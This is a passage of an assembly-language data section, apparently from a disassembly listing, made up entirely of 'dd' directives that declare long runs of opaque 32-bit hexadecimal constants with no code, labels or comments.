		dd 5A767C90h, 0A61B7E73h, 3E375949h, 1921D5F9h,	0E873EBC7h
		dd 0BC52B8C7h, 580DC78h, 90A8E930h, 0F0721D22h,	0A9E80AD9h
		dd 13699749h, 6AF343F1h, 3AE1E786h, 576352B7h, 0FAC7A21Fh
		dd 0E1B015FBh, 0E3AFDA6Fh, 9528E76Bh, 86796EEh,	29C31968h
		dd 6124E762h, 0A51B3F0h, 0FAE27FDh, 15322002h, 0EF3BE8DAh
		dd 14ED9EB8h, 0FB602D7Ah, 0D557B8F3h, 0B652F87Ah, 0B47F2B65h
		dd 14975FFCh, 62542A2Fh, 453CCC9Dh, 5B11B322h, 6AA4AD9Ch
		dd 0FB4A24D1h, 0EAD8B40Ch, 8CD16h, 0BE4038FBh, 0BD1EB56Fh
		dd 5B6FD15Fh, 7E3A7224h, 0A92B3650h, 4356D5BCh,	0DECBB135h
		dd 5A9C1210h, 46CBC2ADh, 0E0F6BCDBh, 0D34FE483h, 30925E2Ah
		dd 0CBACFD56h, 0EF5E4D06h, 5F220470h, 0ABC5BF35h, 58DB2668h
		dd 12B2418Ch, 0B62BDAAh, 0A43B2FDAh, 0CD657155h, 0ECA8B3A3h
		dd 2C606848h, 0A6EA80ABh, 0AF43E706h, 42CCF27Eh, 331B64A1h
		dd 0D1BCCA80h, 79936B59h, 990F5863h, 0C4309FE2h, 0E7CC633Ah
		dd 4EDBC198h, 0A153FD5Bh, 7DBFD1Ah, 8C89EE7Bh, 0E3D11E36h
		dd 0B4D27F46h, 0E6B5D6F5h, 7F77972Ch, 7F24563Ah, 0C0537B41h
		dd 70CF4C49h, 152B0BD6h, 0B3D50CA5h, 0A290D5CCh, 1B106CEDh
		dd 3F28EFDDh, 2DDF37CBh, 91CB613h, 229C4F9Fh, 455E8638h
		dd 485A825Eh, 1FAA3263h, 0F5F8D4Fh, 2E54E42Bh, 0B41F60A5h
		dd 8D29D90Dh, 0B91AAB70h, 8225C00Dh, 1617A32Dh,	0BC757214h
		dd 669340D9h, 937BC571h, 44D8AFADh, 51AEB0EBh, 32A22757h
		dd 550AE4B5h, 305F3590h, 0A5374492h, 755B4EBBh,	66D679CAh
		dd 1474F1CBh, 0D9A36500h, 98A80442h, 126D89F3h,	5546262Eh
		dd 5413F7C0h, 4D4B5693h, 0FEB941h, 9F456911h, 0F6001257h
		dd 23078AA3h, 0D1A4B3DCh, 0AFF38276h, 8D9AB3BFh, 4E362E1Bh
		dd 0FE803DE6h, 3F5C1198h, 0C8625CA5h, 5169F10Bh, 34C9DBBEh
		dd 0F0AE0981h, 1FB33771h, 79A3850h, 41D3EED5h, 892F8F7Eh
		dd 4F2139h, 51C3BE5Ah, 0EAA55BF5h, 2665D0FAh, 1F59730Ch
		dd 0B88A7564h, 65B1485Dh, 0E0C36FC4h, 923E31F6h, 8037CC97h
		dd 0AF6A71Eh, 6AAE7FD8h, 0F2AB9923h, 73585A01h,	82347BBCh
		dd 0C6931827h, 58298646h, 0DFF9DCCCh, 68F9140h,	388F1CC4h
		dd 0D1FD3AEh, 26C76B95h, 0CFBF83FEh, 51B251D0h,	0F5649DB7h
		dd 2D119D9Dh, 0DD3CDE00h, 0F6D140E7h, 787EF60Eh, 6866E00Fh
		dd 0DABBD237h, 3EC3CD4Ah, 0FB0FEBE0h, 0B4283ABBh, 77991860h
		dd 80D5B2B6h, 412BB0Ah,	5BA84AD2h, 145E7A5Ah, 875DCB00h
		dd 0A88B4967h, 909763A3h, 0D29A37D9h, 7FE80918h, 940790AFh
		dd 270E9902h, 21EA7153h, 4323BD4Dh, 780871D8h, 0C5DBB4E5h
		dd 84291492h, 9312F4CBh, 85DDDD5h, 227FCBCEh, 4C23705Bh
		dd 7747A1D7h, 0DB94E20h, 38642B6Ch, 72DE4523h, 8B5FF5Ah
		dd 0F9F48E79h, 8961A288h, 80CC42BAh, 0B1B11A24h, 3F355889h
		dd 77AFF3D4h, 61D72BF4h, 0CAEE29DEh, 6A7DE802h,	6E3F1EF7h
		dd 9297BDDCh, 0B16B517Dh, 7FFE418Ah, 733708E0h,	0EFF4FE3Eh
		dd 9D874B64h, 27D39CC3h, 0D9FB8BC0h, 0D6D98DC6h, 7EC9A326h
		dd 4B8F4F39h, 4A0E038Ch, 7193011Dh, 0E7B82548h,	8A62DB24h
		dd 7621D5D8h, 92868719h, 50A8FB71h, 1365503Eh, 0FA6C7C31h
		dd 8BE45685h, 0D8E8EA71h, 18E263A0h, 0E0F4BE1Ah, 5C684841h
		dd 4A8D0792h, 7C69A532h, 0C804AE97h, 79E22CB3h,	335AD2F8h
		dd 8E92801Ch, 0B2AFBEB9h, 4DAD7E42h, 0C882CA67h, 1AF04440h
		dd 10F03CECh, 0A911E0A5h, 9A077DB8h, 0BE2AE0h, 0E84FFA41h
		dd 8AB61B40h, 0B9AECA51h, 72D918ACh, 650F65F5h,	9B05DCCEh
		dd 0DC3ABB32h, 6147C2B3h, 0C6BCC994h, 141BCCE3h, 0F54D5443h
		dd 0C4CB7D94h, 24165C8Ch, 20CFBB59h, 414343D5h,	331B28BDh
		dd 163F61CCh, 0E752C127h, 2B1D2E9Fh, 0C2BFEB6Dh, 1F0FAB34h
		dd 439708F6h, 1D1D19E9h, 0EB45827Fh, 0C7B18AD8h, 65F36CB6h
		dd 766F7BF2h, 6CA3973Eh, 0E535247Bh, 0E33E1C1Ch, 31B50A5Bh
		dd 5E636F13h, 5C537726h, 1E9079CEh, 7EE8FC08h, 0CB99F99Ah
		dd 617D3A48h, 0C51F167Ch, 38CF4D76h, 1C1130EDh,	67CD6C39h
		dd 0C53C543Eh, 9EE91Bh,	1628A741h, 0D43A5666h, 551EC3D2h
		dd 78E15972h, 0D2A3415Ah, 0F9BA119Ch, 20FD42D3h, 0A6D97633h
		dd 67C7427Eh, 0F1F7580Bh, 50CA9D06h, 0F5FB9D9Bh, 705A4698h
		dd 9DB2A1ECh, 9BE0042h,	42A6E0C3h, 32BCD9D4h, 70E24F59h
		dd 5BCCBDD3h, 392096A2h, 3076A53Ch, 0E407D71h, 0BD2DC967h
		dd 1DCF9EE3h, 22E29947h, 0A9B0F1A2h, 0DA7B51Dh,	502AA2C8h
		dd 464D79FEh, 0DC5B3467h, 0FC8BACEFh, 0E7B23F46h, 951094B8h
		dd 0B939F236h, 7B2CF819h, 0E6784146h, 338BD6F4h, 82DA95A0h
		dd 78C06FB1h, 0F1184783h, 201EA10Ch, 0D7BB84B2h, 0A9464A0Eh
		dd 0D2AED384h, 8F08FFFBh
		dd 92AEC477h, 0C54A78C4h, 3741943Ch, 580DF024h,	0A713CDD9h
		dd 0EE1192CAh, 0E8D8A78Ah, 0E9DDCEF7h, 0DF0C29D2h, 4CC09462h
		dd 6FCA250Bh, 7A670A58h, 0DB26C85Bh, 31F5606Eh,	0E82BEE95h
		dd 0DE22D1B7h, 3592A606h, 514A5ACDh, 0D93AA169h, 0EDB69B9Eh
		dd 0E4B028F8h, 0BF70100Ah, 737E142Dh, 6204527Dh, 1300CE13h
		dd 0B10F4209h, 35F7A74h, 9B9AC92Ah, 9921B15Ah, 8B0AEBCEh
		dd 3FA1994Ah, 30C82C8h,	0B60A69EDh, 0BA71FD3Ch,	2BC68447h
		dd 808C7D2Ah, 32072004h, 0BCDD0B35h, 25325E54h,	0AD48B7F8h
		dd 0EE0BA648h, 0B7DC6FDAh, 0F0ED8CA1h, 28A02540h, 6B12DE2Bh
		dd 4B7315Bh, 0F4C4E45h,	4CF8C256h, 0FC70BE99h, 0AFD044C9h
		dd 0B231F975h, 372310A2h, 0BFCAAC2Dh, 0B2DE5488h, 287907D4h
		dd 82538E37h, 0C652626Ch, 0AB2BD42Fh, 29E184BEh, 1B5C17Ah
		dd 0F2CE48BFh, 0F492BB4Dh, 8AA707F2h, 3260F93Bh, 2C94E864h
		dd 0F1E7BF00h, 47F7F771h, 6F439F71h, 0ECF3C1A8h, 0A0B0CED3h
		dd 0C75CB20Eh, 0E6FC757h, 0BC5A9513h, 0AA0630BAh, 0BFF9D6CEh
		dd 7E3B09ECh, 23FC3B00h, 8A4A7FACh, 30ACBDB5h, 1B1AE9E0h
		dd 0FB8DF7C2h, 39B57984h, 16FFFAE5h, 4B7DDE8Fh,	6E61DDE9h
		dd 844B94BAh, 0C1C7A8EEh, 67B5A563h, 48CED332h,	72C77EE7h
		dd 0C0B3776Ah, 6B3F487Fh, 0E671A548h, 0C2B59D16h, 74BE88DEh
		dd 0CD4B48A0h, 0F14DECDCh, 0D3D24A65h, 133CA55h, 0D21F2E03h
		dd 27938269h, 134E795h,	38B624C4h, 0C0300FC8h, 0F1CF5E23h
		dd 110BD9C8h, 0D176770h, 7558D4E5h, 7DBB1C6Dh, 470FC70Ah
		dd 2FCC0610h, 0D4915BBFh, 8B42FE8Bh, 1993B9C6h,	43E419C4h
		dd 77E31EA0h, 56C27344h, 774B2C1Eh, 3E7BBE16h, 0C63DFAC8h
		dd 46773A59h, 649880B6h, 332B86A2h, 55813FC2h, 9DBA27C4h
		dd 0FF4B2B33h, 45483835h, 9BF7CE12h, 6446F680h,	0BADBF4FBh
		dd 3AD59321h, 83E8523Ah, 42CA8657h, 0E5E96F04h,	6E935AB9h
		dd 4BFB5E47h, 129227FAh, 3BC1E96Ch, 66678564h, 0E03E0210h
		dd 559B8B3Dh, 8EDD6B8Dh, 0BC948A84h, 0D4AAA7EEh, 39507E08h
		dd 520A483Bh, 40B7039Eh, 7461C35Bh, 904F6E7Eh, 8F2087F5h
		dd 0C61E73B8h, 61CB02EEh, 0C5A9B9EDh, 3C8A8896h, 371A6024h
		dd 0C5D9B6E4h, 27572261h, 0C619BEDEh, 0B6E46106h, 7E4DA6Ch
		dd 0DBD2E3C2h, 0E41CBC2Fh, 39BFE83h, 0BA58E626h, 1227ABBEh
		dd 1F01E42Ch, 4AF57786h, 96F6F74Ch, 1C37318Ah, 50F5E307h
		dd 9D4D8699h, 2CF67123h, 0DCA03FB9h, 0F52797E9h, 0B30D473Bh
		dd 783475D4h, 84B86845h, 0C1C4D341h, 4D5A28FFh,	2B7B7228h
		dd 7620593Fh, 5EFDE558h, 0B249665Fh, 21903EC8h,	17E1A4B0h
		dd 677A7953h, 53873B3Bh, 724397EDh, 0CF4C0A3h, 44108F69h
		dd 947554ECh, 5A05DAE5h, 4E6745CBh, 0E5FA74CBh,	7D2F53E2h
		dd 72762FA4h, 0DE8E2846h, 0EA365904h, 6A8718F1h, 9A4C6180h
		dd 4A5A36F0h, 0E1EFEC9Fh, 0DD018Ch, 81DE9C72h, 646D0B4Ch
		dd 0DA94698Fh, 5B016CFFh, 8AEB0D8Ah, 4A27F74Bh,	0F1AD2AAEh
		dd 7795AEC9h, 642CF26Bh, 1C256657h, 0A742E3D3h,	0DC0B01B4h
		dd 693E49F1h, 9997FBDFh, 0D57505EAh, 4E63D35Dh,	0BCD483E8h
		dd 5391BDF1h, 920A4A75h, 0D443CCAEh, 36FED231h,	0C01F5590h
		dd 158D8B98h, 0D7435BA5h, 70172801h, 0E6C1DC03h, 0D8AE1F91h
		dd 9BAF26D8h, 0BFB18978h, 31E21386h, 774BA288h,	726F084h
		dd 0F42B86AFh, 0A62229DCh, 0ABA58F38h, 2FF30E56h, 0CAC6D1A9h
		dd 6004B59Fh, 7B409B63h, 3A803BE4h, 0A1830615h,	0C6D2EB30h
		dd 1F9ED8B4h, 35A62738h, 4246D3B9h, 0CBDE0306h,	0AFCC4105h
		dd 65F157E3h, 8BD158E4h, 24827D62h, 8E710F8Fh, 9FAB1879h
		dd 0F11EE9B6h, 949472C1h, 74D89C0Fh, 0DF547767h, 6BC03D1Fh
		dd 2B33A435h, 8A0BA8C4h, 0A833199Bh, 0C96D41BFh, 0D7EE2406h
		dd 0CB13EA31h, 66F62483h, 777565B5h, 0EA9D1DF6h, 2B0FB985h
		dd 0A4AF1B35h, 0CED67827h, 0DFF34FB1h, 7A4DA12Fh, 0BD0A5C97h
		dd 84DF8B8Dh, 0D8CCE9BBh, 0EF50FE5h, 0BD9381C0h, 0FA13D290h
		dd 94912B62h, 60D454CBh, 30EB0F45h, 0E67D8FDEh,	0C75C9A33h
		dd 53657365h, 6BAD0E03h, 5F2452BEh, 9934D187h, 5742DADBh
		dd 8A269473h, 0A768B1C9h, 0BD135F04h, 0B38E6498h, 0F8CB32EFh
		dd 0CEAA01A8h, 0BE067FBCh, 74EF22Eh, 0D70EBE4Bh, 6979162Eh
		dd 1A124D70h, 0F2D07B14h, 1CE02BEDh, 0D61CCC97h, 0A6A004C6h
		dd 0DCA66839h, 2358693Eh, 75FF240Eh, 583E540Dh,	7D128F4Ah
		dd 0A0A28A93h, 8EDC91C9h, 0DC9686A4h, 67861C1Eh, 53B3679Dh
		dd 8DFC8419h, 0F44301D4h, 0AD6AF10h, 12D0F95h, 0B1C2A646h
		dd 0DE222EB1h, 39660E16h, 0DC228CBEh, 3D6D5A1Ah, 0DF1CABE5h
		dd 6185E5EAh, 15CD7A80h, 0D46E2FFBh, 0ACBDA9F9h, 63BC3E43h
		dd 5095099Ah, 6FFCB0F0h, 2A5B83A3h, 0AA9432h, 644CF9Ch
		dd 0D213D81Fh, 8A72D51h, 8762EB9Fh, 0D9CC505Eh,	418D511Ah
		dd 61436570h, 0AA2CBC5Bh, 503DD5A0h, 9DAE0543h,	29E2D65h
		dd 0B0BDE83Ch, 181AEA2Eh, 2842B19Ch, 632AD9FBh,	0EF3C6699h
		dd 396D2248h, 323C5F7Ch, 74CE42BBh, 0CACE3651h,	0DC5A473Fh
		dd 289FD604h, 514D4C44h, 0B29E423h, 30AA20A0h, 8168DAC9h
		dd 0E9833D88h, 0BBD689CCh, 2D860117h, 74B588BEh, 6230AFFh
		dd 70D6625Eh, 0C1A1BEA6h, 200DCDCBh, 0AAB95419h, 5201CB43h
		dd 0A25EAA9Ch, 47DB03A3h, 0E5DE8B57h, 45C647C8h, 9E2DB0D4h
		dd 50EED44h, 0BA159D80h, 9559870Eh, 2B0D0881h, 3B84E39Eh
		dd 0C15633F0h, 810BBA4Eh, 5D5CF8D4h, 6FD49366h,	0AC986A63h
		dd 0BF521B91h, 0A64D3C4Dh, 5CAB1655h, 1ABC0C10h, 51FAB240h
		dd 300F8A14h, 630931CFh, 8EE3BB8Ah, 232F4716h, 6362B13Ch
		dd 55062F98h, 13849300h, 5CC16867h, 612BF92Eh, 0F31154B1h
		dd 873CF8F6h, 86D0ED72h, 5412E83Eh, 44FACDE3h, 0A1F53B76h
		dd 9EDE68B6h, 0EBBE3B4Ch, 16ECF880h, 0EF5E0552h, 3E8356FCh
		dd 0BD947154h, 8DF8DA20h, 0C47C87D6h, 980F7242h, 2622046Eh
		dd 0BDB7951Ch, 8C44A5FAh, 0DAFEE2FBh, 5C1654F7h, 0C0238907h
		dd 21B1A735h, 9E134380h, 44818BC1h, 6E463EB5h, 0ABE0B958h
		dd 7A287EA3h, 66C95C2Dh, 2D04FADDh, 0A92FBCACh,	939798FBh
		dd 3640DB87h, 8DF889B2h, 90D74EE0h, 68C1DADAh, 474A7D14h
		dd 375FF5BFh, 0B72815F1h, 7B7053BFh, 914F24D4h,	0CB971161h
		dd 0F2FD8874h, 0CA3D86ECh, 0A353AD79h, 0F4D81AC7h, 8704E9ADh
		dd 193FA5E5h, 7C6C815h,	75516237h, 2CA3E5A4h, 45277F9Fh
		dd 820D0BE7h, 3C3AA41Fh, 0C12848A6h, 68435DEDh,	0F304348h
		dd 22B2259h, 319DAFC8h,	740FCA7Dh, 0A594D038h, 0B9B4DFBCh
		dd 0FEF5A967h, 0B18D1E5Fh, 2A6ABD43h, 85ADE016h, 22120A6Fh
		dd 1A77EB70h, 0CACE99AAh, 4EB4F442h, 582EC2B7h,	5DDEE0ECh
		dd 0B7D12DCDh, 493E6D7Bh, 58C97A51h, 237963A6h,	580532D6h
		dd 0A4E93C6Dh, 0DF4129EEh, 0B6A6D1C2h, 301EF0ADh, 75719103h
		dd 3B2666FFh, 0D2B4D31h, 0C72CB18Fh, 4FAC1D5Ch,	0B4CF3A67h
		dd 0C91A061Bh, 0B43C4C44h, 0C81BF829h, 0A5FF9617h, 0EAFFD31h
		dd 2B43F409h, 0AB9A0B2Ah, 0D3140C0Ah, 1E84F1C5h, 0BCA9F493h
		dd 0A5049133h, 0E0FA4206h, 7B34DC76h, 0F35430B6h, 0A4735A79h
		dd 0BC165528h, 16DE6A96h, 3D9E83CDh, 2BA88270h,	0C8391930h
		dd 9E0D1A75h, 98F61491h, 0ED002CF0h, 0C17B056Bh, 4B86B9A0h
		dd 0DDC92DBAh, 55315BE8h
		dd 42E392ECh, 0F8BAD5D1h, 0C7BFA5EFh, 6FA27056h, 0E3082AFAh
		dd 9E430CE1h, 8C9BBE0Fh, 85645200h, 0DAF3119Eh,	1DA8E5A7h
		dd 5CEF5105h, 0A5C99AA0h, 9456AB33h, 0B2F52EDAh, 6B3FFA76h
		dd 0FC28901h, 5AA2542Ah, 4D7200D2h, 0C8A165B1h,	0A011B014h
		dd 491D1CD9h, 45013A91h, 0FDF208CDh, 0F95FB479h, 0ADC55EFEh
		dd 5A5B5EF1h, 0E3D30D8Eh, 2D89292Fh, 891E9D30h,	0D6131F5Eh
		dd 5AD6D0F4h, 0B98316F4h, 4A4EC97Ah, 0C290B8CDh, 34B1556Bh
		dd 1440F3B4h, 72CDF5C8h, 225BA97Bh, 0D1D0CA6Dh,	3C002E38h
		dd 0D1D0EDEBh, 71D505A5h, 0F85264Dh, 0DFC93D6Dh, 88B22735h
		dd 287609FFh, 756FE57h,	87BA4E14h, 0E5C46EE7h, 8A470700h
		dd 9EB56562h, 56CE8A8Fh, 0D99A8286h, 0B617CBF5h, 0AB4D2AA1h
		dd 65A196D5h, 0C9CD529Fh, 0D7CD9A51h, 4FB52839h, 9FC5C8C1h
		dd 4D2F6B7Bh, 0F5B0587Bh, 56482B87h, 780AD410h,	9AA02A99h
		dd 7C0B3BEBh, 99E3BDEh,	17DB11BFh, 0D7968A3Ch, 0CB4061B3h
		dd 273674F8h, 8218B265h, 0D8066CAAh, 84D08026h,	3A40ABE5h
		dd 6AAF0658h, 92965D7h,	3543BAAh, 0AD8D24DCh, 3BA7A34Bh
		dd 9B977A1Fh, 985C51C2h, 3CE46BADh, 0B81D48h, 2C8197CFh
		dd 0C00E5948h, 5695C55Ah, 0EC4E4B18h, 2F5918B1h, 82949E2Dh
		dd 0A50B1CFFh, 9221DCB4h, 0A0A76841h, 0C1434520h, 13C7E39Ah
		dd 7F913B54h, 5EFCCD48h, 0B799C4AAh, 3F412ECAh,	0AE7A69F8h
		dd 37FE6AF1h, 0F0704A8Fh, 57CE4EA8h, 186B7E81h,	13E3D273h
		dd 9F60B381h, 58F91AC3h, 93738598h, 4B05C134h, 6B7025C5h
		dd 0E3CD6E4Fh, 0E93A2FBAh, 62731A59h, 4295A05Eh, 1E6889B5h
		dd 9A4491F3h, 7276C2EAh, 0ECC840FDh, 3AB74602h,	0B636FAD2h
		dd 0E33AD93Fh, 773FFF6Bh, 7D6DDF24h, 0D8789BBDh, 8C5490DAh
		dd 0C0971C1Ah, 96D6EB00h, 81456325h, 0ABB25B56h, 7D1D09Bh
		dd 0ECA4C276h, 0DD8AFD71h, 86702B78h, 0F2E8F698h, 21F819D8h
		dd 0C8BA13B4h, 8551716Ah, 5B3C1369h, 763C0B26h,	5F63B09Fh
		dd 9558A6F5h, 0F4B845B9h, 0D66354h, 0BC3153BCh,	0F01FC194h
		dd 548A13BEh, 0F2DF9DA2h, 0F04E1C79h, 94164067h, 0F080F133h
		dd 347B8F42h, 1358FFAh,	97F347h, 6CF770F2h, 6D54B691h
		dd 1AB70F19h, 2D8BFE40h, 835E27D8h, 0B26C478Bh,	5B2DC0A9h
		dd 2D568359h, 7F3F5ADDh, 59A936B0h, 81407565h, 15C2C5C0h
		dd 0E4BA5740h, 0B25921EEh, 194C11D4h, 97E69A77h, 0DCE7F828h
		dd 596337Fh, 15D2CA8Dh,	55625F74h, 5A95D5ECh, 55D1E224h
		dd 0D9F97488h, 61D6DE26h, 59E9AA26h, 2C73C467h,	0BB7CA338h
		dd 399931D2h, 27C5DB0Eh, 0FECE2B19h, 42B0396h, 5143F3DCh
		dd 7568F7C9h, 91362722h, 41525995h, 85369B7Ch, 3D625F98h
		dd 0B26F417h, 8BCA96ECh, 1726388Ah, 4A5141E8h, 0D59DA146h
		dd 0E14AFFDCh, 0B996A93Ch, 0F1C6C988h, 0DC11B332h, 0BE1C5B57h
		dd 3711F27h, 0CC5DE07Eh, 0BCA08BC5h, 0B15D659Ah, 0D6F03A8h
		dd 97E5479Fh, 0C5E20BF9h, 3A25682Fh, 4AC56A0Ah,	0A578362Ch
		dd 32B9E5E7h, 9AA44D1Ah, 0F422A1F8h, 9957CEA4h,	9A5581D8h
		dd 0F68A7742h, 0F71FF135h, 4106D44Ah, 6CCEED2Ch, 1A64FD93h
		dd 0D6F11FF8h, 0A593011Dh, 0AADEAE8Fh, 34B4D3D8h, 0FDF177A5h
		dd 47D326A4h, 0ECF90E78h, 68A78407h, 485E667Dh,	0EC989A17h
		dd 0B5D8FEE1h, 0F2741EBDh, 0DA8D7D1Eh, 0B4036A36h, 1A70089Fh
		dd 0ED9817D2h, 51C2E804h, 22C83B75h, 0FEE1051Bh, 1DC85870h
		dd 9347872Bh, 22C1673Ch, 5B252523h, 2E11B5DFh, 5414FEEh
		dd 9200B1AEh, 883BBA6Ch, 0F3CDDB5Ch, 0DB0DFC75h, 0CE099905h
		dd 212EE340h, 0CB80094Bh, 8739973Fh, 0A2B19A0h,	6F98EFFCh
		dd 0DD791E34h, 2BF1BCDh, 0CE47E792h, 774231F3h,	0FD2F464Dh
		dd 18E473Dh, 70B6F4E7h,	169108F1h, 7D6CEBEAh, 9EF7120Bh
		dd 0BD56E4CBh, 0C1A788D5h, 0B1E2A060h, 0B72F5564h, 310C826Dh
		dd 72BF4993h, 440BBE86h, 0D4CED44Eh, 25D1E26Bh,	0BB4E2906h
		dd 0EBD14B3Bh, 0CEE80F20h, 432490EBh, 3223F07Bh, 91AF6C57h
		dd 0B6955B00h, 5DB4A4C7h, 0B02A755h, 27662BC7h,	0AE33B038h
		dd 0AA735689h, 4410EB75h, 54284D46h, 858AAD02h,	0BFB4B293h
		dd 7566925Eh, 0CA1C53C1h, 8CC67E0Bh, 0E120A7Eh,	0F92C6202h
		dd 670DA579h, 2561D0B3h, 915D4ACFh, 71E4587Ah, 3F09A7D9h
		dd 45D02135h, 46E80E2h,	84100876h, 6C176CA9h, 0F3999581h
		dd 1B9A8F65h, 0D297C461h, 5EF3BFBBh, 7498A2A6h,	84436CA7h
		dd 4B9C748Ah, 0BA576FE1h, 983FA064h, 8C93328h, 7E5933AFh
		dd 0C357A430h, 40EED3A9h, 0D6BC1A6Bh, 3E912111h, 37DB1293h
		dd 0E3A99D1Ah, 0CD851DB6h, 0FFCAE7F6h, 7CDD887Ah, 2CA5FBC2h
		dd 0DDFF5941h, 5F5CD376h, 1E806E5Bh, 4D27F552h,	0EF7BFCE4h
		dd 0DEEA2A3Bh, 6239076Ch, 0F389D6F4h, 0DFE162F5h, 851135A9h
		dd 9AFB879Ah, 5F2D256Eh, 197D996Ch, 9BC827E3h, 322CA454h
		dd 0C1AF0550h, 955A2B71h, 5E72A61Fh, 0D350A4C2h, 0C46F068Ch
		dd 0EE3497A5h, 49166393h, 259F55ECh, 3E331769h,	0E40C126Ch
		dd 27FD473Fh, 7E254776h, 0F65DE8BCh, 0E18E6C93h, 5E9BFBFDh
		dd 8DD849D3h, 29490CF7h, 1600752h, 0EFA2CF34h, 4B3B51A5h
		dd 86388FD9h, 0C5C327AEh, 0F3CF8174h, 15143963h, 0BA6B0D95h
		dd 0BFF7F081h, 513FC661h, 0BA842A37h, 5D71BDAAh, 0CA89DC54h
		dd 34FE4150h, 686E9553h, 0E1D98D1Eh, 0E36E471Fh, 0ED018D83h
		dd 87249ADAh, 14AF83A3h, 1E8C1A09h, 4D5F16CAh, 0AD9437CCh
		dd 7251F29Bh, 0F5BAC380h, 0C9D47B76h, 0F731E0ACh, 0FCB7014Eh
		dd 2AFC69A9h, 0AA6D6BF0h, 99EFEC9Eh, 6F6F05DEh,	72535850h
		dd 62BF481h, 0A38F587Eh, 156C7912h, 7D936C88h, 696D28E6h
		dd 639A0D94h, 501D53F7h, 28AAE860h, 0F28555B7h,	0FC3443CDh
		dd 787A3FECh, 0A49F65E1h, 0A9EA73ECh, 0A267CF17h, 0BCB335AEh
		dd 0CD0348E4h, 0E81F46A7h, 0CC695121h, 0D4DD4128h, 149F1E62h
		dd 75C64DF9h, 3ED89CD3h, 83456168h, 246161EAh, 0F4FD53B3h
		dd 6D37347Bh, 37468242h, 222DA5BDh, 1AA22B83h, 67DEE3B2h
		dd 0F40948A4h, 0C84F3029h, 0AD01CD01h, 0BB92AEB0h, 0B4ED4690h
		dd 6194769Bh, 0F3F6C357h, 0EA521851h, 5E5A02A0h, 2B0559F6h
		dd 0E1DB3E15h, 4879280Ch, 0D54472D3h, 68DD312Fh, 56A61BF1h
		dd 24956527h, 90E66F7Eh, 0ED802626h, 0E35EA169h, 3D1794D5h
		dd 0C3BAA380h, 1B0D6F42h, 4D6D8B57h, 3C333585h,	2E4A7EABh
		dd 82D2F1F7h, 0BB43F264h, 5598FE63h, 0EB354959h, 0C8D3A265h
		dd 2D056F14h, 606B1CACh, 4A78BB08h, 915FFF5Fh, 6CCD8CAEh
		dd 13D6424Fh, 0E4FC412Eh, 6253ADACh, 0FC271FAh,	82369FC6h
		dd 62A98C9Ah, 3B1FF349h, 7CD24D78h, 0D8717690h,	0D5C7943h
		dd 0E0CD0C76h, 544273D0h, 24F44A4h, 0AF159FEEh,	580BA6Bh
		dd 0EDF5B24Ah, 0C75B9922h, 0BCE0E8Fh, 7D9E5739h, 0C018CD94h
		dd 48FC232Fh, 0E9E78232h, 0BB7CD20Ch, 0D26114DCh, 0F422B7D0h
		dd 77DECA49h, 683615E1h, 7EA34AA6h, 0B41C3327h,	0DDA69039h
		dd 89CE6494h, 370B5813h, 0E02923Bh, 0A2000F49h,	8F968F80h
		dd 2EFFCAA6h, 195E2E8Bh, 0FFE153B6h, 7476A1C9h,	988DE644h
		dd 0AE8D70D0h, 0E8CAD2EDh, 25C2FE3Fh, 6CE94C23h, 0DF512278h
		dd 0E1D5E03Bh, 0AF16470Ch, 0A149FDADh, 3892A28h, 74C81FAAh
		dd 7B6B0BBCh, 324DF708h, 9A28134Dh, 7DC099h, 0FB6CDD62h
		dd 1595EC45h, 31EE4E23h
		dd 10D85CCCh, 3514F4C4h, 66245C12h, 0E5F286A1h,	0F8F08476h
		dd 719C8CCh, 0D2A59E62h, 0AB128B8h, 9054B5Bh, 10A49401h
		dd 70713576h, 2ADFF7B9h, 0BD4E2D8Bh, 0A0617520h, 7C6C2B1Eh
		dd 20FE4F58h, 0A152B32Bh, 61E78D25h, 0B4ECEE95h, 0B5599A18h
		dd 1F9C8900h, 7740B022h, 466C669Ah, 1208A7E5h, 0BA457A4Eh
		dd 0E06B2A94h, 0A71863E7h, 0C0F4CAC9h, 0F1292508h, 9948ADD4h
		dd 287945F1h, 0FF743A78h, 0D6DE3D6Ah, 3D87028Fh, 0CE49DC51h
		dd 63270FBh, 0B04AB1B2h, 80FF820Eh, 0BEA5BD31h,	14ADB589h
		dd 8120635Fh, 0B7E87CF7h, 0B8466C25h, 94FA4275h, 7351DE4h
		dd 0DB3F1F3h, 0FD2207A6h, 6C2DE35h, 0E70C08D8h,	0C68C9A65h
		dd 4A468464h, 45AEEEA8h, 89ACA7F2h, 4271AE45h, 1E0AB002h
		dd 412BC5A7h, 53757B98h, 0C1BC5144h, 81E75069h,	0D4E42BE9h
		dd 0D4E78B28h, 0B99CE525h, 0B091AC01h, 734D89C8h, 0D2F6E279h
		dd 0EC89E12Eh, 0A7845B09h, 707AE3F1h, 6E1DBC40h, 7706A38Ch
		dd 0B48F76Bh, 22CC72FCh, 0AC9B0308h, 16FE7644h,	0CC843096h
		dd 0A474BB60h, 0DB5AE2F8h, 0B22D20h, 2C47397Fh,	5DBB456Dh
		dd 0B6343AD4h, 0BD803AF5h, 53D4DE25h, 248AECCCh, 61E635EDh
		dd 4335F287h, 4C361556h, 0A723022Ah, 0B8E322A1h, 6226F064h
		dd 9A25D1A9h, 0E52C9F5Eh, 0C191DCD3h, 44FF20BBh, 0D29E359Ch
		dd 0A7E671CAh, 423FA29h, 0FC05BCFAh, 9DA09828h,	817D139Bh
		dd 44DBCC6Bh, 2C5489A7h, 0B4B8D2FDh, 6C485E32h,	6CA04C08h
		dd 4F097E6Bh, 51612A52h, 6A0B394Dh, 6ECB3482h, 0A829D60Ch
		dd 0E33FF323h, 249EE88Fh, 0D9D230CCh, 1424C7B4h, 961C66F9h
		dd 0F14E9A6Dh, 8F6C8FCh, 0E12232B4h, 0E87C89A1h, 0A0C84428h
		dd 8406E45Ch, 2A8572DDh, 8C44BAC7h, 0DDB005A2h,	0A0F6008Bh
		dd 2F514C9h, 9314D774h,	4D3DE59Fh, 8666D4B6h, 0F9C632E2h
		dd 9855730Eh, 4DD1BFC2h, 0CDD0AF0Bh, 0E00F2EFDh, 9775BDE3h
		dd 7C389F37h, 7D9C14AFh, 6E8F4D0Ch, 307D2CFEh, 49BC9816h
		dd 0EDDE761Ah, 72D75FB5h, 0CA9D80D1h, 0EC97F614h, 38DE49Fh
		dd 0BC789F9Fh, 7AE3212Ch, 0B33091A2h, 1B5DEB84h, 0ABF43749h
		dd 0CCD918D0h, 0FD632FCEh, 4514C7A5h, 5C9B7441h, 9712E84Dh
		dd 38DE6DF8h, 0BFC8112Ch, 0B2CEB07Ch, 0A7EBB0Dh, 1F3E9AA0h
